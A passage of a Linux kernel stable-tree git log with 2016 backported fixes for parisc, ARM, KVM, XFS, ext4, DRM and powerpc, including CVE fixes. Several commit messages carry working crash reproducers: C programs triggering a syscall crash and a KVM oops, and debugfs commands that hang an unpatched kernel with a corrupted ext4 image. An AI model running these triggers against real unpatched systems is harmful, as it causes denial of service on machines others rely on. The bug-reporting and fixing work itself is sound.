00000000402d2e88 IIR: 0ca0d089 ISR: 0000000001200000 IOR: 00000000fa6f7fff CPU: 1 CR30: 00000001bde7c000 CR31: ffffffffffffffff ORIG_R28: 00000002369fe628 IAOQ[0]: compat_get_timex+0x2dc/0x3c0 IAOQ[1]: compat_get_timex+0x2e0/0x3c0 RP(r2): compat_get_timex+0x40/0x3c0 Backtrace: [<00000000402d4608>] compat_SyS_clock_adjtime+0x40/0xc0 [<0000000040205024>] syscall_exit+0x0/0x14 This means the userspace program clock_adjtime called the clock_adjtime() syscall and then crashed inside the compat_get_timex() function. Syscalls should never crash programs, but instead return EFAULT. The IIR register contains the executed instruction, which disassebles into "ldw 0(sr3,r5),r9". This load-word instruction is part of __get_user() which tried to read the word at %r5/IOR (0xfa6f7fff). This means the unaligned handler jumped in. The unaligned handler is able to emulate all ldw instructions, but it fails if it fails to read the source e.g. because of page fault. The following program reproduces the problem: #define _GNU_SOURCE #include #include #include int main(void) { /* allocate 8k */ char *ptr = mmap(NULL, 2*4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); /* free second half (upper 4k) and make it invalid. */ munmap(ptr+4096, 4096); /* syscall where first int is unaligned and clobbers into invalid memory region */ /* syscall should return EFAULT */ return syscall(__NR_clock_adjtime, 0, ptr+4095); } To fix this issue we simply need to check if the faulting instruction address is in the exception fixup table when the unaligned handler failed. If it is, call the fixup routine instead of crashing. While looking at the unaligned handler I found another issue as well: The target register should not be modified if the handler was unsuccessful. Signed-off-by: Helge Deller Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e29f2017cd62fe700fdf1883e7d5e0101ae653a7 Author: Dave Weinstein Date: Thu Jul 28 11:55:41 2016 -0700 arm: oabi compat: add missing access checks commit 7de249964f5578e67b99699c5f0b405738d820a2 upstream. Add access checks to sys_oabi_epoll_wait() and sys_oabi_semtimedop(). This fixes CVE-2016-3857, a local privilege escalation under CONFIG_OABI_COMPAT. Cc: stable@vger.kernel.org Reported-by: Chiachih Wu Reviewed-by: Kees Cook Reviewed-by: Nicolas Pitre Signed-off-by: Dave Weinstein Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 798871ec8eb48ad0edd8091b7eb1355e1603bfb6 Author: Russell King Date: Mon May 30 23:14:56 2016 +0100 ARM: fix PTRACE_SETVFPREGS on SMP systems commit e2dfb4b880146bfd4b6aa8e138c0205407cebbaf upstream. PTRACE_SETVFPREGS fails to properly mark the VFP register set to be reloaded, because it undoes one of the effects of vfp_flush_hwstate(). Specifically vfp_flush_hwstate() sets thread->vfpstate.hard.cpu to an invalid CPU number, but vfp_set() overwrites this with the original CPU number, thereby rendering the hardware state as apparently "valid", even though the software state is more recent. Fix this by reverting the previous change. Cc: Fixes: 8130b9d7b9d8 ("ARM: 7308/1: vfp: flush thread hwstate before copying ptrace registers") Acked-by: Will Deacon Tested-by: Simon Marchi Signed-off-by: Russell King Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ac46dba61766f1b84c9da3a20721ec113b6a0033 Author: Paolo Bonzini Date: Wed Jun 1 14:09:23 2016 +0200 KVM: x86: fix OOPS after invalid KVM_SET_DEBUGREGS commit d14bdb553f9196169f003058ae1cdabe514470e6 upstream. MOV to DR6 or DR7 causes a #GP if an attempt is made to write a 1 to any of bits 63:32. However, this is not detected at KVM_SET_DEBUGREGS time, and the next KVM_RUN oopses: general protection fault: 0000 [#1] SMP CPU: 2 PID: 14987 Comm: a.out Not tainted 4.4.9-300.fc23.x86_64 #1 Hardware name: LENOVO 2325F51/2325F51, BIOS G2ET32WW (1.12 ) 05/30/2012 [...] Call Trace: [] kvm_arch_vcpu_ioctl_run+0x141d/0x14e0 [kvm] [] kvm_vcpu_ioctl+0x33d/0x620 [kvm] [] do_vfs_ioctl+0x298/0x480 [] SyS_ioctl+0x79/0x90 [] entry_SYSCALL_64_fastpath+0x12/0x71 Code: 55 83 ff 07 48 89 e5 77 27 89 ff ff 24 fd 90 87 80 81 0f 23 fe 5d c3 0f 23 c6 5d c3 0f 23 ce 5d c3 0f 23 d6 5d c3 0f 23 de 5d c3 <0f> 23 f6 5d c3 0f 0b 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 RIP [] native_set_debugreg+0x2b/0x40 RSP Testcase (beautified/reduced from syzkaller output): #include #include #include #include #include #include #include long r[8]; int main() { struct kvm_debugregs dr = { 0 }; r[2] = open("/dev/kvm", O_RDONLY); r[3] = ioctl(r[2], KVM_CREATE_VM, 0); r[4] = ioctl(r[3], KVM_CREATE_VCPU, 7); memcpy(&dr, "\x5d\x6a\x6b\xe8\x57\x3b\x4b\x7e\xcf\x0d\xa1\x72" "\xa3\x4a\x29\x0c\xfc\x6d\x44\x00\xa7\x52\xc7\xd8" "\x00\xdb\x89\x9d\x78\xb5\x54\x6b\x6b\x13\x1c\xe9" "\x5e\xd3\x0e\x40\x6f\xb4\x66\xf7\x5b\xe3\x36\xcb", 48); r[7] = ioctl(r[4], KVM_SET_DEBUGREGS, &dr); r[6] = ioctl(r[4], KVM_RUN, 0); } Reported-by: Dmitry Vyukov Signed-off-by: Paolo Bonzini Signed-off-by: Radim KrÄÂmář Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6d3b2527eae83f8c0fc1fdadd1adf5a9278efff5 Author: Dave Chinner Date: Wed May 18 13:54:23 2016 +1000 xfs: skip stale inodes in xfs_iflush_cluster commit 7d3aa7fe970791f1a674b14572a411accf2f4d4e upstream. We don't write back stale inodes so we should skip them in xfs_iflush_cluster, too. cc: # 3.10.x- Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 84d6193e127505b5d4b38e0ee62eeea98bcf72ea Author: Dave Chinner Date: Wed May 18 13:54:22 2016 +1000 xfs: fix inode validity check in xfs_iflush_cluster commit 51b07f30a71c27405259a0248206ed4e22adbee2 upstream. Some careless idiot(*) wrote crap code in commit 1a3e8f3 ("xfs: convert inode cache lookups to use RCU locking") back in late 2010, and so xfs_iflush_cluster checks the wrong inode for whether it is still valid under RCU protection. Fix it to lock and check the correct inode. (*) Careless-idiot: Dave Chinner cc: # 3.10.x- Discovered-by: Brain Foster Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e3824534790db69423401d1a1d505fcf6f5db094 Author: Dave Chinner Date: Wed May 18 13:53:42 2016 +1000 xfs: xfs_iflush_cluster fails to abort on error commit b1438f477934f5a4d5a44df26f3079a7575d5946 upstream. When a failure due to an inode buffer occurs, the error handling fails to abort the inode writeback correctly. This can result in the inode being reclaimed whilst still in the AIL, leading to use-after-free situations as well as filesystems that cannot be unmounted as the inode log items left in the AIL never get removed. Fix this by ensuring fatal errors from xfs_imap_to_bp() result in the inode flush being aborted correctly. Reported-by: Shyam Kaushik Diagnosed-by: Shyam Kaushik Tested-by: Shyam Kaushik Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman [wt: in kernels < 3.17, the error sign is positive, not negative] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4278b4a8719b84528d04cea007eeabb35b1cf386 Author: Ville Syrjälä Date: Thu May 26 15:16:25 2016 -0700 dma-debug: avoid spinlock recursion when disabling dma-debug commit 3017cd63f26fc655d56875aaf497153ba60e9edf upstream. With netconsole (at least) the pr_err("... disablingn") call can recurse back into the dma-debug code, where it'll try to grab free_entries_lock again. Avoid the problem by doing the printk after dropping the lock. Link: http://lkml.kernel.org/r/1463678421-18683-1-git-send-email-ville.syrjala@linux.intel.com Signed-off-by: Ville Syrjälä Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 66b4527648645412ec97a5d55a6ed940156507b5 Author: Vegard Nossum Date: Thu Jul 14 23:02:47 2016 -0400 ext4: fix reference counting bug on block allocation error commit 554a5ccc4e4a20c5f3ec859de0842db4b4b9c77e upstream. If we hit this error when mounted with errors=continue or errors=remount-ro: EXT4-fs error (device loop0): ext4_mb_mark_diskspace_used:2940: comm ext4.exe: Allocating blocks 5090-6081 which overlap fs metadata then ext4_mb_new_blocks() will call ext4_mb_release_context() and try to continue. However, ext4_mb_release_context() is the wrong thing to call here since we are still actually using the allocation context. Instead, just error out. We could retry the allocation, but there is a possibility of getting stuck in an infinite loop instead, so this seems safer. [ Fixed up so we don't return EAGAIN to userspace. --tytso ] Fixes: 8556e8f3b6 ("ext4: Don't allow new groups to be added during block allocation") Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Cc: Aneesh Kumar K.V Cc: stable@vger.kernel.org [wt: 3.10 doesn't have EFSCORRUPTED, but XFS uses EUCLEAN as does 3.14 on this patch so use this instead] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 68adf6c9afae5b5bb03d44de67a11db2f540f76d Author: Vegard Nossum Date: Thu Jul 14 23:21:35 2016 -0400 ext4: short-cut orphan cleanup on error commit c65d5c6c81a1f27dec5f627f67840726fcd146de upstream. If we encounter a filesystem error during orphan cleanup, we should stop. Otherwise, we may end up in an infinite loop where the same inode is processed again and again. EXT4-fs (loop0): warning: checktime reached, running e2fsck is recommended EXT4-fs error (device loop0): ext4_mb_generate_buddy:758: group 2, block bitmap and bg descriptor inconsistent: 6117 vs 0 free clusters Aborting journal on device loop0-8. EXT4-fs (loop0): Remounting filesystem read-only EXT4-fs error (device loop0) in ext4_free_blocks:4895: Journal has aborted EXT4-fs error (device loop0) in ext4_do_update_inode:4893: Journal has aborted EXT4-fs error (device loop0) in ext4_do_update_inode:4893: Journal has aborted EXT4-fs error (device loop0) in ext4_ext_remove_space:3068: IO failure EXT4-fs error (device loop0) in ext4_ext_truncate:4667: Journal has aborted EXT4-fs error (device loop0) in ext4_orphan_del:2927: Journal has aborted EXT4-fs error (device loop0) in ext4_do_update_inode:4893: Journal has aborted EXT4-fs (loop0): Inode 16 (00000000618192a0): orphan list check failed! [...] EXT4-fs (loop0): Inode 16 (0000000061819748): orphan list check failed! [...] EXT4-fs (loop0): Inode 16 (0000000061819bf0): orphan list check failed! [...] See-also: c9eb13a9105 ("ext4: fix hang when processing corrupted orphaned inode list") Cc: Jan Kara Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 63d71be26418bdd354c89817f56fcd7a05a1bff6 Author: Vegard Nossum Date: Mon Jul 4 11:03:00 2016 -0400 ext4: don't call ext4_should_journal_data() on the journal inode commit 6a7fd522a7c94cdef0a3b08acf8e6702056e635c upstream. If ext4_fill_super() fails early, it's possible for ext4_evict_inode() to call ext4_should_journal_data() before superblock options and flags are fully set up. In that case, the iput() on the journal inode can end up causing a BUG(). Work around this problem by reordering the tests so we only call ext4_should_journal_data() after we know it's not the journal inode. Fixes: 2d859db3e4 ("ext4: fix data corruption in inodes with journalled data") Fixes: 2b405bfa84 ("ext4: fix data=journal fast mount/umount hang") Cc: Jan Kara Cc: stable@vger.kernel.org Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c08250386e3de65e20bca0ee3ccc649561e66651 Author: Vegard Nossum Date: Thu Jun 30 11:53:46 2016 -0400 ext4: check for extents that wrap around commit f70749ca42943faa4d4dcce46dfdcaadb1d0c4b6 upstream. An extent with lblock = 4294967295 and len = 1 will pass the ext4_valid_extent() test: ext4_lblk_t last = lblock + len - 1; if (len == 0 || lblock > last) return 0; since last = 4294967295 + 1 - 1 = 4294967295. This would later trigger the BUG_ON(es->es_lblk + es->es_len < es->es_lblk) in ext4_es_end(). We can simplify it by removing the - 1 altogether and changing the test to use lblock + len <= lblock, since now if len = 0, then lblock + 0 == lblock and it fails, and if len > 0 then lblock + len > lblock in order to pass (i.e. it doesn't overflow). Fixes: 5946d0893 ("ext4: check for overlapping extents in ext4_valid_extent_entries()") Fixes: 2f974865f ("ext4: check for zero length extent explicitly") Cc: Eryu Guan Cc: stable@vger.kernel.org Signed-off-by: Phil Turnbull Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c5d84c91f48b79857d9a6929c2e4dc6e9a174533 Author: Vegard Nossum Date: Fri Jul 15 00:22:07 2016 -0400 ext4: verify extent header depth commit 7bc9491645118c9461bd21099c31755ff6783593 upstream. Although the extent tree depth of 5 should enough be for the worst case of 2*32 extents of length 1, the extent tree code does not currently to merge nodes which are less than half-full with a sibling node, or to shrink the tree depth if possible. So it's possible, at least in theory, for the tree depth to be greater than 5. However, even in the worst case, a tree depth of 32 is highly unlikely, and if the file system is maliciously corrupted, an insanely large eh_depth can cause memory allocation failures that will trigger kernel warnings (here, eh_depth = 65280): JBD2: ext4.exe wants too many credits credits:195849 rsv_credits:0 max:256 ------------[ cut here ]------------ WARNING: CPU: 0 PID: 50 at fs/jbd2/transaction.c:293 start_this_handle+0x569/0x580 CPU: 0 PID: 50 Comm: ext4.exe Not tainted 4.7.0-rc5+ #508 Stack: 604a8947 625badd8 0002fd09 00000000 60078643 00000000 62623910 601bf9bc 62623970 6002fc84 626239b0 900000125 Call Trace: [<6001c2dc>] show_stack+0xdc/0x1a0 [<601bf9bc>] dump_stack+0x2a/0x2e [<6002fc84>] __warn+0x114/0x140 [<6002fdff>] warn_slowpath_null+0x1f/0x30 [<60165829>] start_this_handle+0x569/0x580 [<60165d4e>] jbd2__journal_start+0x11e/0x220 [<60146690>] __ext4_journal_start_sb+0x60/0xa0 [<60120a81>] ext4_truncate+0x131/0x3a0 [<60123677>] ext4_setattr+0x757/0x840 [<600d5d0f>] notify_change+0x16f/0x2a0 [<600b2b16>] do_truncate+0x76/0xc0 [<600c3e56>] path_openat+0x806/0x1300 [<600c55c9>] do_filp_open+0x89/0xf0 [<600b4074>] do_sys_open+0x134/0x1e0 [<600b4140>] SyS_open+0x20/0x30 [<6001ea68>] handle_syscall+0x88/0x90 [<600295fd>] userspace+0x3fd/0x500 [<6001ac55>] fork_handler+0x85/0x90 ---[ end trace 08b0b88b6387a244 ]--- [ Commit message modified and the extent tree depath check changed from 5 to 32 -- tytso ] Cc: Darrick J. Wong Signed-off-by: Vegard Nossum Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b3271a0af77966b1bb2e1530a18c9d8b291aeb36 Author: Nicolai Stange Date: Thu May 5 19:46:19 2016 -0400 ext4: silence UBSAN in ext4_mb_init() commit 935244cd54b86ca46e69bc6604d2adfb1aec2d42 upstream. Currently, in ext4_mb_init(), there's a loop like the following: do { ... offset += 1 << (sb->s_blocksize_bits - i); i++; } while (i <= sb->s_blocksize_bits + 1); Note that the updated offset is used in the loop's next iteration only. However, at the last iteration, that is at i == sb->s_blocksize_bits + 1, the shift count becomes equal to (unsigned)-1 > 31 (c.f. C99 6.5.7(3)) and UBSAN reports UBSAN: Undefined behaviour in fs/ext4/mballoc.c:2621:15 shift exponent 4294967295 is too large for 32-bit type 'int' [...] Call Trace: [] dump_stack+0xbc/0x117 [] ? _atomic_dec_and_lock+0x169/0x169 [] ubsan_epilogue+0xd/0x4e [] __ubsan_handle_shift_out_of_bounds+0x1fb/0x254 [] ? __ubsan_handle_load_invalid_value+0x158/0x158 [] ? kmem_cache_alloc+0x101/0x390 [] ? ext4_mb_init+0x13b/0xfd0 [] ? create_cache+0x57/0x1f0 [] ? create_cache+0x11a/0x1f0 [] ? mutex_lock+0x38/0x60 [] ? mutex_unlock+0x1b/0x50 [] ? put_online_mems+0x5b/0xc0 [] ? kmem_cache_create+0x117/0x2c0 [] ext4_mb_init+0xc49/0xfd0 [...] Observe that the mentioned shift exponent, 4294967295, equals (unsigned)-1. Unless compilers start to do some fancy transformations (which at least GCC 6.0.0 doesn't currently do), the issue is of cosmetic nature only: the such calculated value of offset is never used again. Silence UBSAN by introducing another variable, offset_incr, holding the next increment to apply to offset and adjust that one by right shifting it by one position per loop iteration. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=114701 Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=112161 Cc: stable@vger.kernel.org Signed-off-by: Nicolai Stange Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 948ab3d20e94a2ce8a4ced07b4ea8c2ab1140645 Author: Nicolai Stange Date: Thu May 5 17:38:03 2016 -0400 ext4: address UBSAN warning in mb_find_order_for_block() commit b5cb316cdf3a3f5f6125412b0f6065185240cfdc upstream. Currently, in mb_find_order_for_block(), there's a loop like the following: while (order <= e4b->bd_blkbits + 1) { ... bb += 1 << (e4b->bd_blkbits - order); } Note that the updated bb is used in the loop's next iteration only. However, at the last iteration, that is at order == e4b->bd_blkbits + 1, the shift count becomes negative (c.f. C99 6.5.7(3)) and UBSAN reports UBSAN: Undefined behaviour in fs/ext4/mballoc.c:1281:11 shift exponent -1 is negative [...] Call Trace: [] dump_stack+0xbc/0x117 [] ? _atomic_dec_and_lock+0x169/0x169 [] ubsan_epilogue+0xd/0x4e [] __ubsan_handle_shift_out_of_bounds+0x1fb/0x254 [] ? __ubsan_handle_load_invalid_value+0x158/0x158 [] ? ext4_mb_generate_from_pa+0x590/0x590 [] ? ext4_read_block_bitmap_nowait+0x598/0xe80 [] mb_find_order_for_block+0x1ce/0x240 [...] Unless compilers start to do some fancy transformations (which at least GCC 6.0.0 doesn't currently do), the issue is of cosmetic nature only: the such calculated value of bb is never used again. Silence UBSAN by introducing another variable, bb_incr, holding the next increment to apply to bb and adjust that one by right shifting it by one position per loop iteration. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=114701 Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=112161 Cc: stable@vger.kernel.org Signed-off-by: Nicolai Stange Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3e8dc83936ad736b3aaf0ae7ebf3d52c90fbb7d8 Author: Theodore Ts'o Date: Sat Apr 30 00:48:54 2016 -0400 ext4: fix hang when processing corrupted orphaned inode list commit c9eb13a9105e2e418f72e46a2b6da3f49e696902 upstream. If the orphaned inode list contains inode #5, ext4_iget() returns a bad inode (since the bootloader inode should never be referenced directly). Because of the bad inode, we end up processing the inode repeatedly and this hangs the machine. This can be reproduced via: mke2fs -t ext4 /tmp/foo.img 100 debugfs -w -R "ssv last_orphan 5" /tmp/foo.img mount -o loop /tmp/foo.img /mnt (But don't do this if you are using an unpatched kernel if you care about the system staying functional. :-) This bug was found by the port of American Fuzzy Lop into the kernel to find file system problems[1]. (Since it *only* happens if inode #5 shows up on the orphan list --- 3, 7, 8, etc. won't do it, it's not surprising that AFL needed two hours before it found it.) [1] http://events.linuxfoundation.org/sites/events/files/slides/AFL%20filesystem%20fuzzing%2C%20Vault%202016_0.pdf Cc: stable@vger.kernel.org Reported by: Vegard Nossum Signed-off-by: Theodore Ts'o Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e4b7020bf192e985583901c144f5a70657e766a8 Author: Alex Deucher Date: Wed Jul 27 15:28:56 2016 -0400 drm/radeon: fix firmware info version checks commit 3edc38a0facef45ee22af8afdce3737f421f36ab upstream. Some of the checks didn't handle frev 2 tables properly. Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c74fd1c0688318a01a2ad3b6e156ad51c73a3189 Author: Lyude Date: Fri Jun 24 17:54:31 2016 -0400 drm/radeon: Poll for both connect/disconnect on analog connectors commit 14ff8d48f2235295dfb3117693008e367b49cdb5 upstream. DRM_CONNECTOR_POLL_CONNECT only enables polling for connections, not disconnections. Because of this, we end up losing hotplug polling for analog connectors once they get connected. Easy way to reproduce: - Grab a machine with a radeon GPU and a VGA port - Plug a monitor into the VGA port, wait for it to update the connector from disconnected to connected - Disconnect the monitor on VGA, a hotplug event is never sent for the removal of the connector. Originally, only using DRM_CONNECTOR_POLL_CONNECT might have been a good idea since doing VGA polling can sometimes result in having to mess with the DAC voltages to figure out whether or not there's actually something there since VGA doesn't have HPD. Doing this would have the potential of showing visible artifacts on the screen every time we ran a poll while a VGA display was connected. Luckily, radeon_vga_detect() only resorts to this sort of polling if the poll is forced, and DRM's polling helper doesn't force it's polls. Additionally, this removes some assignments to connector->polled that weren't actually doing anything. Cc: stable@vger.kernel.org Signed-off-by: Lyude Signed-off-by: Alex Deucher Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bd28fcf5fb50eb020db30120430d0fe9c2ee3c25 Author: Alex Deucher Date: Wed Jun 1 12:58:36 2016 -0400 drm/radeon: add a delay after ATPX dGPU power off commit d814b24fb74cb9797d70cb8053961447c5879a5c upstream. ATPX dGPU power control requires a 200ms delay between power off and on. This should fix dGPU failures on resume from power off. Reviewed-by: Hawking Zhang Acked-by: Christian König Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9bb8f4919707ebd820ec0f47fb4b49f37265d200 Author: Alex Deucher Date: Mon Jun 13 15:37:34 2016 -0400 drm/radeon: fix asic initialization for virtualized environments commit 05082b8bbd1a0ffc74235449c4b8930a8c240f85 upstream. When executing in a PCI passthrough based virtuzliation environment, the hypervisor will usually attempt to send a PCIe bus reset signal to the ASIC when the VM reboots. In this scenario, the card is not correctly initialized, but we still consider it to be posted. Therefore, in a passthrough based environemnt we should always post the card to guarantee it is in a good state for driver initialization. Ported from amdgpu commit: amdgpu: fix asic initialization for virtualized environments Cc: Andres Rodriguez Cc: Alex Williamson Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit bbb885ee0ba5fabe2bf81611056d5dc5986604e4 Author: Lyude Date: Thu May 12 10:56:59 2016 -0400 drm/fb_helper: Fix references to dev->mode_config.num_connector commit 255f0e7c418ad95a4baeda017ae6182ba9b3c423 upstream. During boot, MST hotplugs are generally expected (even if no physical hotplugging occurs) and result in DRM's connector topology changing. This means that using num_connector from the current mode configuration can lead to the number of connectors changing under us. This can lead to some nasty scenarios in fbcon: - We allocate an array to the size of dev->mode_config.num_connectors. - MST hotplug occurs, dev->mode_config.num_connectors gets incremented. - We try to loop through each element in the array using the new value of dev->mode_config.num_connectors, and end up going out of bounds since dev->mode_config.num_connectors is now larger then the array we allocated. fb_helper->connector_count however, will always remain consistent while we do a modeset in fb_helper. Note: This is just polish for 4.7, Dave Airlie's drm_connector refcounting fixed these bugs for real. But it's good enough duct-tape for stable kernel backporting, since backporting the refcounting changes is way too invasive. Signed-off-by: Lyude [danvet: Clarify why we need this. Also remove the now unused "dev" local variable to appease gcc.] Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1463065021-18280-3-git-send-email-cpaul@redhat.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3c5ef020497cb0ebd3432e541d5125db0b912b12 Author: Itai Handler Date: Tue Nov 3 00:20:56 2015 +0200 drm/gma500: Fix possible out of bounds read commit 7ccca1d5bf69fdd1d3c5fcf84faf1659a6e0ad11 upstream. Fix possible out of bounds read, by adding missing comma. The code may read pass the end of the dsi_errors array when the most significant bit (bit #31) in the intr_stat register is set. This bug has been detected using CppCheck (static analysis tool). Cc: stable@vger.kernel.org Signed-off-by: Itai Handler Signed-off-by: Patrik Jakobsson Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit fe7765ccbaeed0102a81c6b25223667c7526ef02 Author: Tomáš Trnka Date: Fri May 20 16:41:10 2016 +0200 sunrpc: fix stripping of padded MIC tokens commit c0cb8bf3a8e4bd82e640862cdd8891400405cb89 upstream. The length of the GSS MIC token need not be a multiple of four bytes. It is then padded by XDR to a multiple of 4 B, but unwrap_integ_data() would previously only trim mic.len + 4 B. The remaining up to three bytes would then trigger a check in nfs4svc_decode_compoundargs(), leading to a "garbage args" error and mount failure: nfs4svc_decode_compoundargs: compound not properly padded! nfsd: failed to decode arguments! This would prevent older clients using the pre-RFC 4121 MIC format (37-byte MIC including a 9-byte OID) from mounting exports from v3.9+ servers using krb5i. The trimming was introduced by commit 4c190e2f913f ("sunrpc: trim off trailing checksum before returning decrypted or integrity authenticated buffer"). Fixes: 4c190e2f913f "unrpc: trim off trailing checksum..." Signed-off-by: Tomáš Trnka Cc: stable@vger.kernel.org Acked-by: Jeff Layton Signed-off-by: J. Bruce Fields Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit da161a9f2d526ac1ec2e93126023b92638d79127 Author: Cyril Bur Date: Fri Jun 17 14:58:34 2016 +1000 powerpc/tm: Always reclaim in start_thread() for exec() class syscalls commit 8e96a87c5431c256feb65bcfc5aec92d9f7839b6 upstream. Userspace can quite legitimately perform an exec() syscall with a suspended transaction. exec() does not return to the old process, rather it load a new one and starts that, the expectation therefore is that the new process starts not in a transaction. Currently exec() is not treated any differently to any other syscall which creates problems. Firstly it could allow a new process to start with a suspended transaction for a binary that no longer exists. This means that the checkpointed state won't be valid and if the suspended transaction were ever to be resumed and subsequently aborted (a possibility which is exceedingly likely as exec()ing will likely doom the transaction) the new process will jump to invalid state. Secondly the incorrect attempt to keep the transactional state while still zeroing state for the new process creates at least two TM Bad Things. The first triggers on the rfid to return to userspace as start_thread() has given the new process a 'clean' MSR but the suspend will still be set in the hardware MSR. The second TM Bad Thing triggers in __switch_to() as the processor is still transactionally suspended but __switch_to() wants to zero the TM sprs for the new process. This is an example of the outcome of calling exec() with a suspended transaction. Note the first 700 is likely the first TM bad thing decsribed earlier only the kernel can't report it as we've loaded userspace registers. c000000000009980 is the rfid in fast_exception_return() Bad kernel stack pointer 3fffcfa1a370 at c000000000009980 Oops: Bad kernel stack pointer, sig: 6 [#1] CPU: 0 PID: 2006 Comm: tm-execed Not tainted NIP: c000000000009980 LR: 0000000000000000 CTR: 0000000000000000 REGS: c00000003ffefd40 TRAP: 0700 Not tainted MSR: 8000000300201031 CR: 00000000 XER: 00000000 CFAR: c0000000000098b4 SOFTE: 0 PACATMSCRATCH: b00000010000d033 GPR00: 0000000000000000 00003fffcfa1a370 0000000000000000 0000000000000000 GPR04: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR12: 00003fff966611c0 0000000000000000 0000000000000000 0000000000000000 NIP [c000000000009980] fast_exception_return+0xb0/0xb8 LR [0000000000000000] (null) Call Trace: Instruction dump: f84d0278 e9a100d8 7c7b03a6 e84101a0 7c4ff120 e8410170 7c5a03a6 e8010070 e8410080 e8610088 e8810090 e8210078 <4c000024> 48000000 e8610178 88ed023b Kernel BUG at c000000000043e80 [verbose debug info unavailable] Unexpected TM Bad Thing exception at c000000000043e80 (msr 0x201033) Oops: Unrecoverable exception, sig: 6 [#2] CPU: 0 PID: 2006 Comm: tm-execed Tainted: G D task: c0000000fbea6d80 ti: c00000003ffec000 task.ti: c0000000fb7ec000 NIP: c000000000043e80 LR: c000000000015a24 CTR: 0000000000000000 REGS: c00000003ffef7e0 TRAP: 0700 Tainted: G D MSR: 8000000300201033 CR: 28002828 XER: 00000000 CFAR: c000000000015a20 SOFTE: 0 PACATMSCRATCH: b00000010000d033 GPR00: 0000000000000000 c00000003ffefa60 c000000000db5500 c0000000fbead000 GPR04: 8000000300001033 2222222222222222 2222222222222222 00000000ff160000 GPR08: 0000000000000000 800000010000d033 c0000000fb7e3ea0 c00000000fe00004 GPR12: 0000000000002200 c00000000fe00000 0000000000000000 0000000000000000 GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000 GPR20: 0000000000000000 0000000000000000 c0000000fbea7410 00000000ff160000 GPR24: c0000000ffe1f600 c0000000fbea8700 c0000000fbea8700 c0000000fbead000 GPR28: c000000000e20198 c0000000fbea6d80 c0000000fbeab680 c0000000fbea6d80 NIP [c000000000043e80] tm_restore_sprs+0xc/0x1c LR [c000000000015a24] __switch_to+0x1f4/0x420 Call Trace: Instruction dump: 7c800164 4e800020 7c0022a6 f80304a8 7c0222a6 f80304b0 7c0122a6 f80304b8 4e800020 e80304a8 7c0023a6 e80304b0 <7c0223a6> e80304b8 7c0123a6 4e800020 This fixes CVE-2016-5828. Fixes: bc2a9408fa65 ("powerpc: Hook in new transactional memory code") Cc: stable@vger.kernel.org # v3.9+ Signed-off-by: Cyril Bur Signed-off-by: Michael Ellerman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e5f18c1ba6a8e353b7c00f80305781ab16914c61 Author: Gavin Shan Date: Thu May 26 09:56:07 2016 +1000 powerpc/pseries: Fix PCI config address for DDW commit 8a934efe94347eee843aeea65bdec8077a79e259 upstream. In commit 8445a87f7092 "powerpc/iommu: Remove the dependency on EEH struct in DDW mechanism", the PE address was replaced with the PCI config address in order to remove dependency on EEH. According to PAPR spec, firmware (pHyp or QEMU) should accept "xxBBSSxx" format PCI config address, not "xxxxBBSS" provided by the patch. Note that "BB" is PCI bus number and "SS" is the combination of slot and function number. This fixes the PCI address passed to DDW RTAS calls. Fixes: 8445a87f7092 ("powerpc/iommu: Remove the dependency on EEH struct in DDW mechanism") Cc: stable@vger.kernel.org # v3.4+ Reported-by: Guilherme G. Piccoli Signed-off-by: 